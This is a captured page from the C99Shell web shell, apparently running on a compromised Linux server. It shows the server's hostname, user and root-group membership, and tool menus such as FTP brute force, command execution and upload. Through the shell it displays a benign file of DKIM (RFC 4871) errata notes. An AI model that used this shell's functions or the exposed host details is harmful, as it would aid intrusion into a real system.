!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/doc/libmail-dkim-perl/   drwxr-xr-x
Free 28.84 GB of 117.98 GB (24.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     dkim_errata.txt (1.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Following are some notes about gray areas in the RFC 4871 DKIM
specification.


Section 3.4.4 "relaxed" Body Canonicalization

  Empty bodies. Unlike the "simple" body canonicalization, which
  explicitly says to add a CRLF, the "relaxed" body canonicalization
  does not say this. The consensus at DKIM-Interop was NOT to add
  a CRLF for "relaxed" body canonicalization when the body is empty.


Section 3.5 "i= Identity of the user or agent"

  In the section describing "identity", it says dkim-quoted-printable
  encoding is to be used, but quoted printable is not mentioned in the
  ABNF. The ABNF includes the "Local-part" token, which allows a quoted
  string with backslashes to escape certain characters.

  My interpretation (combining the text and my own reasoning), is that
  the i= tag value should be the dkim-quoted-printable encoding of:

    [ Local-part ] "@" domain-name

  So, e.g.
                                     local part     domain
                                     ----------     -----------
    i="meet=20joe"@example.com  =>   "meet joe"     example.com
    i="fine=3Bmess"@example.com =>   "fine;mess"    example.com
    i="j=20s=22@example.com     =>   "j s"          example.com
    i=j smith @ example . com   =>   jsmith         example.com


Section 3.6.1 "granularity of the key"

  Does "an empty g= value never matches any addresses" mean that any
  signature, no matter the i= value, using this key cannot be
  matched? The consensus at DKIM-Interop was that YES, that's what
  it means.

  It should be noted that this is an incompatible change from
  RFC4870-DomainKeys, where an empty g= tag in the public key is
  equivalent to g=*, which would match anything.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--